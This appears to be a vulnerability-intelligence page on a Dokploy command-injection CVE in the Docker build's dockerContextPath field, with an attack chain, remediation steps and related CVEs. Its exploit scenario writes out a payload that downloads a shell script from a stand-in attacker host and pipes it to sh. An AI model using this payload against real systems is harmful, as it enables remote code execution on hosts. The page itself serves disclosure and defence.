Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as Dokploy application editor
-
DeliveryOpen application build configuration in dashboard
-
ExploitSet dockerContextPath to shell injection payload
-
InstallTrigger Docker build
-
C2Unquoted cd executes payload via execAsync shell
-
ExecuteArbitrary OS commands run on Dokploy host
-
ImpactAchieve host-level code execution and lateral movement
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Dokploy session with at minimum the application editor role - anonymous or read-only users cannot trigger builds or set build configuration. The attacker must have access to an application's build settings and must be able to initiate a build using the Dockerfile builder (the primary affected sink). Similar injection paths exist in the nixpacks builder via publishDirectory and in the Docker provider via dockerImage, meaning the condition is not exclusive to one build type. Limiting factors: authentication is mandatory (no unauthenticated path), the Dokploy dashboard must be network-reachable from the attacker, and the attacker must have write access to at least one application's configuration. The injected commands run as the OS user executing the Dokploy server process - typically a dedicated service account or root depending on deployment, which determines post-exploitation reach. |
| Impact | Real-world risk is high despite the absence of KEV listing or EPSS data. The injection is post-authentication (application editor role required, mapping to CVSS PR:L), which meaningfully reduces the attack surface relative to unauthenticated flaws, but in practice Dokploy instances are collaborative tools where multiple team members hold editor permissions. Successful exploitation yields OS-level command execution on the Dokploy host - not sandboxed within a container - meaning an attacker can pivot to all hosted applications, access secrets and credentials stored on the host, and potentially escape to underlying infrastructure. The CVSS 4.0 vector provided in source data is a null placeholder (all N) and must be disregarded. The PR diff and test suite (docker-build-injection.test.ts) confirm the injection surface with five explicit payload classes, providing a clear exploitation blueprint. The fix version (0.29.13) is confirmed via tagged GitHub release. No conflicting signals exist in the available data, though EPSS score is absent. |
| Exploit ScenarioDerived | An attacker with a Dokploy account holding application editor permissions navigates to an application's build configuration in the dashboard, sets the Docker context path to a payload such as '. ; curl http://attacker.example/shell.sh | sh', and triggers a build. The Dokploy server constructs the shell command string with the unescaped path, causing execAsync to execute the injected commands on the host OS under the Dokploy process user, yielding a reverse shell or equivalent persistent access. The test suite in docker-build-injection.test.ts shipped with the fix explicitly validates five injection payload classes - $(), backtick, semicolon, &&, and pipe - confirming these vectors work against the unpatched code. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Command injection in Dokploy's Docker build pipeline allows authenticated application editors to execute arbitrary OS commands on the Dokploy host by supplying shell metacharacters in the dockerContextPath build configuration field. The malicious path value flows from the dashboard UI through getDockerContextPath() directly into an unquoted cd shell command executed via execAsync, enabling full host-level code execution under the Dokploy server process. All Dokploy installations prior to version 0.29.13 are affected; no active exploitation or public exploit code has been identified at time of analysis, though exploitation requires only a low-privilege authenticated session.
RemediationAI
Upgrade Dokploy to version 0.29.13 or later, which replaces all unquoted user-controlled values in shell command strings with shell-quote-escaped equivalents via the shell-quote npm library's quote() function. The fix is confirmed in release v0.29.13 at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 and implemented in commit cba0b253c7de4157dd932de7f16a2ad247c7cee9. If immediate upgrade is not possible, the compensating control with the lowest operational cost is to restrict who holds the application editor role - limit it to fully trusted operators, as the editor role is the minimum privilege enabling exploitation. As a secondary control, network-isolate the Dokploy management dashboard behind a VPN or IP allowlist so that only authorized personnel can reach the UI, reducing the pool of potential attackers. There is no configuration setting to disable dockerContextPath without disabling Dockerfile-based builds entirely. No workaround exists that permits normal use of the build feature while preventing injection.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dokploy (cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:*) is a self-hosted Node.js PaaS that orchestrates Docker-based application deployments. The injection point is in packages/server/src/utils/builders/docker-file.ts, where user-supplied dockerContextPath is interpolated directly into a shell command string - cd ${dockerContextPath} - without quoting or escaping before being passed to execAsync. This is a textbook CWE-78 (OS Command Injection) flaw: shell metacharacters such as semicolons, backticks, $(), pipes, and && operators in the path value break out of the intended cd argument and execute attacker-supplied commands in the shell spawned by execAsync. The same class of injection was concurrently present in the nixpacks builder (publishDirectory) and the Docker provider (dockerImage), all fixed in the same PR by wrapping values with the shell-quote npm library's quote() function.
Know when Dokploy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Network-reachable web dashboard, low-privilege editor auth required, scope changes to host OS enabling full CIA compromise.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, dockerContextPath accepted by apps/dokploy/components/dashboard/application/build/show.tsx flows through getDockerContextPath in packages/server/src/utils/filesystem/directory.ts into the unquoted cd command in packages/server/src/utils/builders/docker-file.ts before execution by execAsync, allowing an authenticated application editor to execute arbitrary commands on the Dokploy host. This issue is fixed in version 0.29.13.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong
Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c
Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete
Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing
Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
EUVD-2026-55795
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB